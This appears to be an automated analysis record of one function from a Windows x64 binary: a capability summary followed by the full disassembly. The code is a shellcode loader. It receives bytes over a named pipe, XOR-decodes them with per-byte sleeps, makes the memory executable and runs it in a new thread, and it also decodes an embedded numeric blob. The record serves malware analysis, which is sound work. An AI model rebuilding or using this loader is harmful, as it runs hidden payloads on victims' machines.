Function at 0x140011032
Capabilities:
Connect pipe
Create pipe
Create thread
Read file on windows

Disassembly:
jmp 0x140016420
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
mov eax, 0x39a0
call fcn.14001111d
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xcd8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x39c8]
mov rax, qword [0x140025018]
xor rax, rbp
mov qword [rbp + 0x3950], rax
lea rcx, [0x14002b0e4]
call fcn.14001164f
lea rax, [rbp + 0x1f70]
lea rcx, str.176895302436562063787366236913686361111111123522723522122622722320629436713717206378422624320637842262692063784226286206378437792212062753728209209200294361720629437463706231240376916299286235374836172782351737483663368022623522720637842262863784233231206173612371637643761269277163770377937843762378311111120637883746377337182061736122213784206269232378423928620817361236602232063655361723537842563783206173679200294361720629437463706235374836172782351737482533669377036972031820328312234250361437703673222232378423928320817361237162353784276206232378423926220817361223537841937832061736122352222352222492242412352222352242352412063787368328623522636553669222235224241206378427236882043655365536552483713112083741377437153771371537713717377311235223208378036812033780369723537232033774282103655367820629436172062943671200294374620029436172352212352212353723252223376737303655367836853775241206378037482353729221111111200294361723522723522737131823522723537232203780375437423655367836852242472063780374820629436712083780367320029436172263719111623937862262262353723368522529325436553678206378037422063787374522137132712452063780369720637803672208374437463655365536553655200294361722622623537232951326937683655367837883746275378837501711112063655361027537863791171111368536773688366217111136863736365536553655290244204220229111336663786278277375336732663797370537273795251283376037233794223235377437573793370936652513771373825537193723247378236633739373636733726242369137863759368125322237872862892083761378522429437223740374137483767361428337092823669366824822122337663723241376237813792256112253775371737792952353718371737713773252286200377737663715371237122402902582932922862912443777371437762403773371524237123717254286200228208234286250293292254286220371537713711377737743775286202229286259293294254286220204220259256254286229377937153711371737713773290258293292254286200232232226209228297278271112022562703742370625436721337683775271370936573787276369437862393671372129625836973738276375736833783368323937783717293103664221369723137953672255285264255272225370637312993745259245209263366923937462803797366925637433668367737122663758378037373683368236943789378636703651237229371123637482563699272238221377436682093675225365128237133687366437583684200369637522583696268235361736122862962652423776377137712803694372536652283750376220037842403733208367037652533701379437423723371736862723656369625427837311636973784379324223627137903723379937883777366336903689378137143782266369423636112633720373736993613274278370837252413669255373125737572472732323706372837702272003750377237732343651251368637722452923613205193684375124336622832333778248373437172471123537413691372737362233655367820629436173723111123911235372911273111123537252391111112353723222373922836643655367820637902282282063780368720637803697206378036722353729112861111208378036942353723272375137803663365536782063787374328637883746377337263716378410206173745378837463770367522222222220615111111112213745368637543658365536552942502512932942592532932942512592932942512531111271299296
mov rdi, rax
mov rsi, rcx
mov ecx, 0xbe3
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0x1f70]
lea rcx, [rbp + 0x2b78]
call fcn.1400112cb
nop
mov r9d, 0xa
xor r8d, r8d
lea rdx, [rbp + 0x2bb8]
lea rcx, [rbp + 0x2b78]
call fcn.140011357
nop
lea rcx, [rbp + 0x2b78]
call fcn.14001158c
mov r9, rax
mov r8d, 0xa
lea rdx, [rbp + 0x2bf8]
lea rcx, [rbp + 0x2b78]
call fcn.140011357
nop
lea rcx, [rbp + 0x2bb8]
call fcn.1400112a8
mov qword [rbp + 0x2c38], rax
lea rcx, [rbp + 0x2bf8]
call fcn.1400112a8
mov qword [rbp + 0x2c58], rax
mov dword [rbp + 0x2c74], 0
mov dword [rbp + 0x2c94], 0
jmp 0x140016532
mov eax, dword [rbp + 0x2c94]
inc eax
mov dword [rbp + 0x2c94], eax
movsxd rax, dword [rbp + 0x2c94]
mov qword [rbp + 0x3948], rax
lea rcx, [rbp + 0x2bf8]
call fcn.14001158c
mov rcx, qword [rbp + 0x3948]
cmp rcx, rax
jae 0x1400166a8
movsxd rax, dword [rbp + 0x2c94]
mov rcx, qword [rbp + 0x2c58]
movsx eax, byte [rcx + rax]
sub eax, 0x30
mov dword [rbp + 0x2cb4], eax
lea rdx, [0x140021833]
lea rcx, [rbp + 0x2cd8]
call fcn.1400112cb
nop
mov dword [rbp + 0x2d14], 0
jmp 0x1400165a5
mov eax, dword [rbp + 0x2d14]
inc eax
mov dword [rbp + 0x2d14], eax
mov eax, dword [rbp + 0x2cb4]
cmp dword [rbp + 0x2d14], eax
jge 0x140016647
mov eax, dword [rbp + 0x2c94]
mov ecx, dword [rbp + 0x2d14]
lea eax, [rax + rcx + 1]
cdqe
mov rcx, qword [rbp + 0x2c58]
movsx eax, byte [rcx + rax]
sub eax, 0x30
mov edx, eax
lea rcx, [rbp + 0x2d38]
call fcn.1400110af
nop
xor r8d, r8d
lea rdx, [rbp + 0x2d38]
lea rcx, [rbp + 0x2bb8]
call fcn.1400111bd
mov dword [rbp + 0x2d74], eax
mov edx, dword [rbp + 0x2d74]
lea rcx, [rbp + 0x2d98]
call fcn.1400110af
nop
lea rdx, [rbp + 0x2d98]
lea rcx, [rbp + 0x2cd8]
call fcn.1400112bc
nop
lea rcx, [rbp + 0x2d98]
call fcn.140011127
nop
lea rcx, [rbp + 0x2d38]
call fcn.140011127
jmp 0x140016597
mov eax, dword [rbp + 0x2cb4]
mov ecx, dword [rbp + 0x2c94]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x2c94], eax
mov r8d, 0xa
xor edx, edx
lea rcx, [rbp + 0x2cd8]
call fcn.140011203
mov dword [rbp + 0x2dd4], eax
movsxd rax, dword [rbp + 0x2c74]
movzx ecx, byte [rbp + 0x2dd4]
mov byte [rbp + rax + 0x10], cl
mov eax, dword [rbp + 0x2c74]
inc eax
mov dword [rbp + 0x2c74], eax
lea rcx, [rbp + 0x2cd8]
call fcn.140011127
jmp 0x140016524
mov qword [rbp + 0x3278], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0x400
mov r9d, 0xff
xor r8d, r8d
mov edx, 1
mov rcx, qword [section..data]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov qword [rbp + 0x2df8], rax
cmp qword [rbp + 0x2df8], 0xffffffffffffffff
jne 0x14001675b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x2e14], eax
mov edx, dword [rbp + 0x2e14]
lea rcx, str.___Create_Pipe_Error_:__d__n
call fcn.1400112fd
mov eax, dword [rbp + 0x2e14]
mov dword [rbp + 0x3914], eax
lea rcx, [rbp + 0x2bf8]
call fcn.140011127
nop
lea rcx, [rbp + 0x2bb8]
call fcn.140011127
nop
lea rcx, [rbp + 0x2b78]
call fcn.140011127
mov eax, dword [rbp + 0x3914]
jmp 0x140016903
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011140]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
mov rcx, qword [rbp + 0x2df8]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jle 0x1400168cd
lea rcx, str.__Client_Connected..._n
call fcn.1400112fd
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3254]
mov r8d, 0x400
lea rdx, [rbp + 0x2e40]
mov rcx, qword [rbp + 0x2df8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [rbp + 0x3254]
lea rcx, str.__Get_DATA_Length_:__d__n
call fcn.1400112fd
mov eax, dword [rbp + 0x3254]
mov r9d, 4
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x3278], rax
mov eax, dword [rbp + 0x3254]
mov r8d, eax
lea rdx, [rbp + 0x2e40]
mov rcx, qword [rbp + 0x3278]
call fcn.14001132a
mov dword [rbp + 0x32f4], 0
jmp 0x140016838
mov eax, dword [rbp + 0x32f4]
inc eax
mov dword [rbp + 0x32f4], eax
mov eax, dword [rbp + 0x3254]
cmp dword [rbp + 0x32f4], eax
jae 0x14001686a
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x32f4]
mov rcx, qword [rbp + 0x3278]
add rcx, rax
mov rax, rcx
lock xor byte [rax], 0xa
jmp 0x14001682a
mov eax, dword [rbp + 0x3254]
lea r9, [rbp + 0x3294]
mov r8d, 0x10
mov edx, eax
mov rcx, qword [rbp + 0x3278]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rbp + 0x32d4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x3278]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x32b8], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x32b8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rbp + 0x3934], 0
lea rcx, [rbp + 0x2bf8]
call fcn.140011127
nop
lea rcx, [rbp + 0x2bb8]
call fcn.140011127
nop
lea rcx, [rbp + 0x2b78]
call fcn.140011127
mov eax, dword [rbp + 0x3934]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140020360]
call fcn.140011550
mov rax, rdi
mov rcx, qword [rbp + 0x3950]
xor rcx, rbp
call fcn.140011325
lea rsp, [rbp + 0x3960]
pop rdi
pop rsi
pop rbp
ret